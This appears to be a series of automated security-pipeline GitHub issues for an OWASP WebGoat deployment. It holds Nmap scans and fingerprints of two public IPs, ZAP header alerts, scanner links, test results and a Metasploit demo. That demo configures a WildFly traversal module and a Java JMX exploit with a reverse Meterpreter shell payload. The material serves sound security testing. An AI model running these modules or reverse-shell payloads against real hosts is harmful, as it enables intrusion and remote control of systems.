| Content-Length: 0

| Date: Thu, 30 Nov 2023 07:23:13 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 30 Nov 2023 07:23:11 GMT

| HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
|_ Date: Thu, 30 Nov 2023 07:23:12 GMT
|_http-title: Site doesn't have a title.
9090/tcp open zeus-admin?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
| Date: Thu, 30 Nov 2023 07:23:53 GMT
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, SqueezeCenter_CLI, TLSSessionReq, TerminalServerCookie, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
| Date: Thu, 30 Nov 2023 07:23:11 GMT

| HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
|_ Date: Thu, 30 Nov 2023 07:23:29 GMT

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/30%Time=6568385F%P=x86_64-pc-linux-gnu%(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Thu, 30 Nov 2023 07:23:

SF:11 GMT

")%(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Thu, 30\n

SF:x20Nov 2023 07:23:12 GMT

")%(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Thu, 30\x

SF:20Nov 2023 07:23:13 GMT

")%(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close

SF: ")%(GenericLines,42,"HTTP/1.1 400 Bad Request Content

SF:-Length: 0 Connection: close

")%(Help,42,"HTTP/1.1

SF:0400 Bad Request Content-Length: 0 Connection: close\n

SF:r

")%(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con

SF:tent-Length: 0 Connection: close

")%(TerminalServerCoo

SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

")%(TLSSessionReq,42,"HTTP/1.1 400 B

SF:ad Request Content-Length: 0 Connection: close

")

SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x

SF:200 Connection: close

")%(SMBProgNeg,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
")%r(WMSRequest,42,"
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio
SF:n: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque
SF:st Content-Length: 0 Connection: close
");
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====
SF-Port9090-TCP:V=7.92%I=7%D=11/30%Time=6568385F%P=x86_64-pc-linux-
gnu%r(G
SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n
SF:r Content-Length: 0 Date: Thu, 30 Nov 2023 07:23:
SF:11 GMT
")%r(WMSRequest,42,"HTTP/1.1 400 Bad Request
SF: Content-Length: 0 Connection: close
")%r(ibm-db2-da
SF:s,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Con
SF:nection: close
")%r(SqueezeCenter_CLI,42,"HTTP/1.1 400
SF:0Bad Request Content-Length: 0 Connection: close
SF:")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(HTTPOptions,65,"HTTP/1.1
SF: 404 Not Found Connection: close Content-Length: 0
SF: Date: Thu, 30 Nov 2023 07:23:29 GMT
")%r(R

SF:TSPRequest,42,"HTTP/1.1 400 Bad Request Content-Length:
SF:00 Connection: close
")%r(Help,42,"HTTP/1.1 400 Bad
SF: Request Content-Length: 0 Connection: close
")%r
SF:(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Content-Length
SF:: 0 Connection: close
")%r(TerminalServerCookie,42,"HTT
SF:P/1.1 400 Bad Request Content-Length: 0 Connection:\n
SF:x20close
")%r(TLSSessionReq,42,"HTTP/1.1 400 Bad Reque
SF:st Content-Length: 0 Connection: close
")%r(Kerberos
SF:.,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Conn
SF:ection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400 Bad
SF:Request Content-Length: 0 Connection: close
")%r(Fou
SF:rOhFourRequest,65,"HTTP/1.1 404 Not Found Connection: c
SF:lose Content-Length: 0 Date: Thu, 30 Nov 2023 0
SF:7:23:53 GMT
")%r(LPDString,42,"HTTP/1.1 400 Bad Req
SF:uest Content-Length: 0 Connection: close
")%r(LDAPSe
SF:archReq,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n
SF:r Connection: close
")%r(SIPOptions,42,"HTTP/1.1 400
SF:Bad Request Content-Length: 0 Connection: close
"
SF:);
Device type: general purpose|storage-misc|firewall
Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X
(86%), FreeBSD 6.X (85%), WatchGuard Fireware 11.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:freebsd:freebsd:6.2 cpe:/o:watchguard:fireware:11.8

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.03 ms 172.17.0.1

2 5464.33 ms 4.188.224.162

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 342.88 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-30 07:25 UTC

Nmap scan report for 4.188.224.162

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-30 07:25 UTC

Nmap scan report for 4.188.224.162

Host is up (0.19s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.27 seconds

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 773

GitHub Issue URL : [Here!](#)

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 772

GitHub Issue URL : [Here!](#)

Snyk_scan
"priority High"

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Priority-High Pytest-Playwright Test Output Issue

GitHub Issue number # 771

GitHub Issue URL : [Here!](#)

Playwright
pytest
"priority High"

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: anyio-4.1.0, playwright-0.4.3, tornasync-0.6.0.post2, asyncio-0.21.1, base-url-2.0.0, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 24.63s  
=====
```

Stop pytests....

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 770

GitHub Issue URL : [Here!](#)

- Site: <http://52.172.252.150:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://52.172.252.150:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://52.172.252.150:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://52.172.252.150:8080/WebGoat/login>
 - **Missing Anti-clickjacking Header** [10020] total: 1:
 - <http://52.172.252.150:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://52.172.252.150:8080/WebGoat/login>
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://52.172.252.150:8080/WebGoat/login>
 - **X-Content-Type-Options Header Missing** [10021] total: 1:
 - <http://52.172.252.150:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://52.172.252.150:8080/sitemap.xml>
 - <http://52.172.252.150:8080/WebGoat/login>
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://52.172.252.150:8080/sitemap.xml>
 - <http://52.172.252.150:8080/WebGoat/login>
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://52.172.252.150:8080/sitemap.xml>
 - <http://52.172.252.150:8080/WebGoat/login>
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://52.172.252.150:8080/sitemap.xml>
 - <http://52.172.252.150:8080/WebGoat/login>
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://52.172.252.150:8080/>
 - <http://52.172.252.150:8080/robots.txt>
 - <http://52.172.252.150:8080/sitemap.xml>
 - <http://52.172.252.150:8080/WebGoat/login>

- **User Agent Fuzzer** [10104] total: 12:
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - <http://52.172.252.150:8080/WebGoat/start.mvc>
 - ..

View the [following link](#) to download the report. RunnerID:6774114667

- Site: <http://4.188.224.162:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Missing Anti-clickjacking Header** [10020] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **X-Content-Type-Options Header Missing** [10021] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://4.188.224.162:8080/>
 - <http://4.188.224.162:8080/sitemap.xml>
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://4.188.224.162:8080/>
 - <http://4.188.224.162:8080/sitemap.xml>
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://4.188.224.162:8080/>
 - <http://4.188.224.162:8080/sitemap.xml>
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://4.188.224.162:8080/>
 - <http://4.188.224.162:8080/sitemap.xml>
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.188.224.162:8080/>
 - <http://4.188.224.162:8080/robots.txt>
 - <http://4.188.224.162:8080/sitemap.xml>
 - <http://4.188.224.162:8080/WebGoat/login>

View the [following link](#) to download the report. RunnerID:7043194703

Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 769

GitHub Issue URL : [Here!](#)

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 2s (10.6 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 52.172.252.150

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	---

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	---

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
--------	-----	---

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	--

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	---

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	--

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

```
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
```

```
RHOSTS =>
```

```
resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse_https
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

```
[*] Payload Handler Started as Job
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 768

GitHub Issue URL : [Here!](#)

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 52.172.252.150

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 2s (9995 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot-parrot-backports> InRelease
Reading package lists...
Building dependency tree...
Reading state information...
49 packages can be upgraded. Run 'apt list --upgradable' to see them.
Running basic nmap scan...
Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-27 12:30 UTC
Nmap scan report for 52.172.252.150
Host is up (0.21s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3b:8f:c1:4a:3f:7e:20:4f:0a:2e:b1:96:52:30:ff:16 (ECDSA)
|_ 256 5e:c9:67:b7:cd:92:bc:a5:6c:2c:d1:09:44:aa:be:5a (ED25519)
80/tcp closed http
443/tcp closed https
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
| Date: Mon, 27 Nov 2023 12:34:02 GMT
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest, HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close

| Content-Length: 0

|_ Date: Mon, 27 Nov 2023 12:34:01 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 27 Nov 2023 12:34:42 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, SqueezeCenter_CLI, TLSSessionReq, TerminalServerCookie, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 27 Nov 2023 12:34:00 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Mon, 27 Nov 2023 12:34:18 GMT

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/27%Time=65648CB9%P=x86_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Mon, 27 Nov 2023 12:34:

SF:01 GMT
")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n
SF:r Connection: close Content-Length: 0 Date: Mon, 27\n
SF:x20Nov 2023 12:34:01 GMT
")%r(RTSPRequest,42,"HTTP/1.1
SF: 400 Bad Request Content-Length: 0 Connection: clo
SF:se
")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found
SF: Connection: close Content-Length: 0 Date: Mon, 27\x
SF:20Nov 2023 12:34:02 GMT
")%r(Socks5,42,"HTTP/1.1 40
SF:0 Bad Request Content-Length: 0 Connection: close
SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content
SF:-Length: 0 Connection: close
")%r(Help,42,"HTTP/1.1
SF:0400 Bad Request Content-Length: 0 Connection: close\n
SF:r
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con
SF:tent-Length: 0 Connection: close
")%r(TerminalServerCoo
SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 B
SF:ad Request Content-Length: 0 Connection: close
")
SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x
SF:200 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400
SF: Bad Request Content-Length: 0 Connection: close \n
SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
")%r(WMSRequest,42,"
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio
SF:n: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque
SF:st Content-Length: 0 Connection: close
");
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====
SF-Port9090-TCP:V=7.92%I=7%D=11/27%Time=65648CB9%P=x86_64-pc-linux-
gnu%r(G
SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n
SF:r Content-Length: 0 Date: Mon, 27 Nov 2023 12:34:
SF:00 GMT
")%r(WMSRequest,42,"HTTP/1.1 400 Bad Request
SF: Content-Length: 0 Connection: close
")%r(ibm-db2-da
SF:s,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Con
SF:nection: close
")%r(SqueezeCenter_CLI,42,"HTTP/1.1 400
SF:0Bad Request Content-Length: 0 Connection: close
SF:")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(HTTPOptions,65,"HTTP/1.1
SF: 404 Not Found Connection: close Content-Length: 0
SF: Date: Mon, 27 Nov 2023 12:34:18 GMT
")%r(R
SF:TSPRequest,42,"HTTP/1.1 400 Bad Request Content-Length:
SF:00 Connection: close
")%r(Help,42,"HTTP/1.1 400 Bad

SF: Request Content-Length: 0 Connection: close

")%r

SF:(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Content-Length

SF:: 0 Connection: close

")%r(TerminalServerCookie,42,"HTT

SF:P/1.1 400 Bad Request Content-Length: 0 Connection:\n

SF:x20close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Bad Reque

SF:st Content-Length: 0 Connection: close

")%r(Kerberos

SF:,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Conn

SF:ection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400 Bad

SF:Request Content-Length: 0 Connection: close

